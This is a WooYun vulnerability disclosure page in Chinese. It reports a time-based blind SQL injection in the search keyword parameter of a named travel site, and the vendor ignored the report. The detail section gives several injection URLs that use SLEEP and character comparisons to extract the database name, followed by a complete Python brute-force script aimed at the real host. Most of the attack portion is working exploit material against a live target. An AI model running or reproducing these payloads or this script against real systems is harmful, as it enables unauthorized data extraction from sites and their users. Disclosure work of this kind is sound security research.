当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0147611

漏洞标题:芒果网某站存在SQL注入漏洞(附验证脚本)

相关厂商:芒果网

漏洞作者: 路人甲

提交时间:2015-10-18 17:52

修复时间:2015-10-23 17:54

公开时间:2015-10-23 17:54

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-18: 细节已通知厂商并且等待厂商处理中
2015-10-23: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

详细说明:

http://bj.mangocity.com/search.jsp?keyword=1' AND (SELECT * FROM (SELECT(SLEEP (5*(length(database())=3))))K) AND '1'='1 延迟注入,将延迟时间扩大5倍,可能程序对语句执行了2次,所以是双倍延迟,为真时会睡眠10秒,db的长度为3

11.jpg

为假时不睡眠:

22.png


#第一位为u:

http://bj.mangocity.com/search.jsp?keyword=1' AND (SELECT * FROM (SELECT(SLEEP (5*(ascii(mid(database(),1,1))=117))))K) AND '1'='1

33.png

#第二位为t:

http://bj.mangocity.com/search.jsp?keyword=1' AND (SELECT * FROM (SELECT(SLEEP (5*(ascii(mid(database(),2,1))=116))))K) AND '1'='1

44.png


#第三位为7:

http://bj.mangocity.com/search.jsp?keyword=1' AND (SELECT * FROM (SELECT(SLEEP (5*(ascii(mid(database(),3,1))=55))))K) AND '1'='1

55.png

漏洞证明:

66.png

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {'Content-Type': 'application/x-www-form-urlencoded',}
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
print '[%s] Start to retrive DB:' % time.strftime('%H:%M:%S', time.localtime())
db = ''
for i in range(1, 4):
for payload in payloads:

time.sleep(1)
s = "1' AND (SELECT * FROM (SELECT(SLEEP(5*(ascii(mid(database(),%s,1))=%s))))K) AND '1'='1" % (i, ord(payload))
s = "/search.jsp?keyword="+urllib.quote(s)
conn = httplib.HTTPConnection('bj.mangocity.com', timeout=100)
conn.request(method='GET', url=s, headers=headers)
start_time = time.time()
html_doc = conn.getresponse().read()
conn.close()
print '.',
#print time.time() - start_time
if time.time() - start_time > 10.0:
db += payload
print '\n[in progress]', db,
break

print '\n[Done] DB is %s' % db

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-10-23 17:54

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无